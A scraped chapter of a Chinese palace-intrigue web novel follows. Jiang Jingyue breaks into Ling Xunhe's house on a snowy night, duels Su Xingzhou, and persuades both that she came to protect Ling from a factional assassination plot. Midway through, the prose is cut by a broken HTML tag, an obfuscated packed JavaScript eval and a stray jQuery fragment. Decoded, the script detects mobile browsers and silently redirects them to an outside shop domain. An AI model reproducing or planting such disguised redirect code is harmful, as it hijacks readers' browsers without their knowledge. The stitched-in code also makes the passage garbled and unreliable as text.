白砚青墨寻到苏行舟时,他正立在那片废弃民宅旁的一棵树下。
雪纷纷扬扬落在他肩头,沾湿了衣衫。
那人的脸再次重现于脑海,当初他将账册带至安州时,遇二皇子派人截杀,打斗中又涌出了一伙人相助,其中正有此人。
“主子,属下来迟,请您吩咐。”
苏行舟这才缓缓看向他们,眼底泛红,簌簌雪花模糊视线,掩盖的是尚未藏起的悲伤。
“走吧。”
初三起的这场大雪绵延了好几日,像是老天有意要削去几分京都的热闹。车辙碾过落雪,渐渐成了坚硬的冰,轿夫踩上极易打滑,纵是马车也不稳当,故而出门拜会师友,结交联络之人少了许多。
到了夜里,刺骨的风夹杂着冰冷的雪,呼呼扫过每一处角落,水雾扑在窗上,在油纸上漾出了印记。
人不出,夜幽深,漫天的雪能抹去不速之客的痕迹,隐藏些许杀人的声音。
江敬月身着夜行衣,春绾箍住她的腰,飞身将她带入了朱英巷内的一处院落,后身跟着的,是几个同样难见真容的刺客。
这正是陛下赐给凌寻鹤的府邸,他与那几个无辜盐丁就住在此处。
江敬月抬手,春绾便带着人藏在隔壁没人居住的屋子。
她缓缓推开了主屋房门,手持火折子,正欲点燃桌上的蜡烛时,却听得身后有剑气破空的声音。
她猛得向右一躲,不巧撞在了屏风上,抬头看去,一人持长剑袭来,她抽出腰间长鞭,慌忙一甩,抽中了那人的肩部,剑偏了一寸,她侧身后仰躲过。
正要开口,凌厉剑锋又至,她一时脚下不稳,向后跌去,长剑却在距她一寸时疾速转变了方向,但因攻势太猛,还是划破了左臂。
身后有盆栽,若是撞倒了,跌入碎瓦片中,怕是要受重伤或者丧命,她只能忍着左臂疼痛向左倒去,以保性命无虞。
忽然,剑鞘抵住了她的腰,那人另一只手扯住她的袖子,稳稳地将她扶了起来。
只是站得离她有些远,不似正常救人该有的距离。
“还不说你是谁吗?”
江敬月微微喘了口气,借着屋外的雪色,恼怒看去,瞳孔蓦地放大,手中的鞭子摔在了地上。
凤目凌厉,薄唇轻抿,瞧着比屋外的雪还要冷清几分,不是苏行舟又是谁。
真没想到,诏狱一别,久病数日,竟是与他在此处相见,且又是如此危险的境地。
可她却没来由地感到几分心安,大概是夜里多愁,她也不甚干脆利落了。
她猛得摘下面巾,直视苏行舟:“是我。”
苏行舟的目光有一瞬间的柔和,转而又冷了神色。
“来杀人吗?”
江敬月眉头紧蹙,他……从哪里得到的消息。
“殿下,我并非为此而来,能否让我与凌大人说话。”
语气里满是真诚,苏行舟挣扎了片刻,冷道:“你要我如何信你!”
江敬月笃定的话语好像又在他的耳边回荡,他不敢赌了。
江敬月缓缓向他走来,苏行舟横了剑鞘在二人之间,“你做什么?”
“殿下这么好的身手,还怕我靠近吗?”江敬月脚步不停。
苏行舟放下了剑鞘,怔在了原地。
只见江敬月两手并在一处,抬臂放在苏行舟胸前,右手还握了鞭子。
“殿下,若不放心,这是最好的法子。”
“你……”苏行舟别开了脸,“不必了。”
江敬月低头轻笑了一声,快走几步,猛得推开了房门。
雪瞬间飘进屋内,她回头望着苏行舟:“殿下请看,那屋子里藏着的都是我的人,个个身手极好,我却亲力亲为,非要自己来刺杀?”
“况且殿下内心不是也有过怀疑吗,否则刚才为何救我?”
声音虽低,却道破关键。
苏行舟方才临时收了攻势,一是瞧出此人没有武功,心中生疑;二便是觉得其身形与江敬月有几分相似,不愿她……
她解释得有理有据,只是她聪明机变,实在是让人有些畏惧。
“我得去问问凌大人的意思,你且稍后。”
他又瞥见江敬月小臂处的血迹,背过了身。
不多时,他将一条撕下来的质地柔软的布条扔给了江敬月,那布料瞧着,非外裳也非里衣。
“伤口沾了雪不好,包一下吧。”
话落,头也不回地往里间去了。
片刻后,一阵轻盈却有力的脚步声响起,江敬月抬头,只见凌寻鹤跟在苏行舟身后,有些局促地走了出来。
“江大人,你今晚这是何意呀?”凌寻鹤感激江敬月设局洗刷了他在宁州盐引案中的污名,因而态度和顺。
“雪天路滑,凌大人才推迟了回宁州的行程,可这大雪留客,却不是好事。”
江敬月抬眸,“此处偏僻,若有人如我方才一般,带人潜入宅院,推开屋门,对大人下手,您又当如何?”
凌寻鹤擦了把汗,镇定道:“我明日便离京。”
“在此之前,我可以寸步不离守着凌大人,护他平安出京。”苏行舟正色道。
江敬月眸光一变:“殿下,是要护着凌大人一路回宁州吗?又或者,要在宁州多赏些好风景?”
苏行舟蹙眉,垂头细思昨日的场景,所以唐言海一开始……
“凌大人若死了,不仅可以让陛下严惩二皇子,也会使宁州盐运司正使的位置再度空缺,如此肥差美地,想要一争的人可不在少数。”
所以,她从一开始就看透了徐立庄等人的心思,也知道唐言海希望这个位置落在自己人手里,因此一箭双雕之计,唐言海无论如何都会施行,江敬月若是不认同,他也会派其他人来。
今夜她孤身进入主屋,连把利器都没带,确实并非为杀人而来,如今分析局势利弊,是……想救凌寻鹤一命。
而假如没自己意外得知此事,其他人来了,凌寻鹤怕是早做了刀下亡魂。
自己确实是因一句言语而误会了她!
口中言利,愿亲为此等卑劣之事,暗中却施以援手,救人性命,保全忠良,这样的事……她决计不是第一次做。
苏行舟忽然回想起当初在诚意伯府的重逢,她也是以抓捕宋朝之之名,行保护宋朝之与证据之实。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12957484|136641||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
自己竟是从一开始就错了……
方才与她过招,冷言冷语待她的愧疚迅速涌上心头,泛起阵阵酸涩,直教他坐立不安,心绪难平。
他揪紧衣衫,偏头看向江敬月,江敬月却定定瞧着凌寻鹤,并未看他。
“凌大人,暗处的阴谋难躲,可明面上的是非却常常让人慎之又慎。”她用食指轻点了下桌面,“大人得让他们知道,你绝不是他们能随意杀害的人。”
凌寻鹤的脸色渐渐不再如刚开始一般苍白,他的眼眸里有着深深的痛苦。
“夫君,此去京都,福祸难料,我知你心忧社稷,必要揭露这禽兽之事,可也请你勿要忘了,我与母亲尚在家中等你。”
这是临行前夜,夫人暗自垂泪被他发现,强颜欢笑对他说的。
“我劝你早日服软,少想着充什么大英雄,我背后之人在遥遥京都,稳坐高台,他视你命如草芥。”
这是何闻昌得圣令巡盐,一到宁州便抓了他,审讯时舒庆芳得意洋洋对他说的。
“你若死了,他们可借你的命倒逼陛下处置二皇子,顺道吞了那正使之位,得数不尽的好处。”
这是今夜江敬月冒雪来此,与他分析利弊时说的。
他做错了什么,他希望宁州盐务之弊得以清除,盐丁与无辜盐商可不必再受他们磋磨构害,希望作恶之人得到严惩,哪一件不是为国为民,不是人臣本分,可为什么一个两个都想要他死。
作恶多端的二皇子党想要他死,想要斗倒二皇子党的太子党中亦有人不放过他。
党争之风盛行,他的活路又在哪里……
“江大人,我明白了。”凌寻鹤释然一笑,眸如朗星,“明日我会在皇城前演一出戏,让你们有借口逼陛下严惩二皇子,也保全自己。”
江敬月起身长拜:“我愿大人无疾无灾,长命百岁。”
“更愿殿陛之间,多有似大人者。”
凌寻鹤声音微颤:“后者,我亦是如此。”
在此浊世,有君如明月,肯周全相护。
二人出了主屋,春绾便带着一众人手自隔壁的屋子里悄声走出,行了一礼。
“你带他们是为了做戏吗?”苏行舟咽下了编排许久的话,搭话道。
江敬月回身,温和一笑:“是啊,我怕巷外有人监视,怕这出戏漏了破绽。”
她见苏行舟欲言又止,满面的不自在,忽又道:“还怕万一遇上了哪位高人,打我个措手不及。”
苏行舟闻言一怔,垂下头笑了。
“唐阁老那里,你如何解释?”男子清朗的声音里带些忧虑。
江敬月举起左臂,指了指包好的地方:“多谢殿下帮我,省得我自己动手。”
苏行舟没再说话。
不多时,江敬月抬步欲走,苏行舟却突然向前了一步。
“不知江大人之后是否有空过王府一叙,我父王和母妃都想见你。”
这次江敬月没回头,飘渺且轻的声音徐徐传来:“多谢王爷王妃美意,若机会合适,我定告知殿下。”
苏行舟双眸明亮,盯着那人远去的背影良久,可这京都的雪,越发狂了。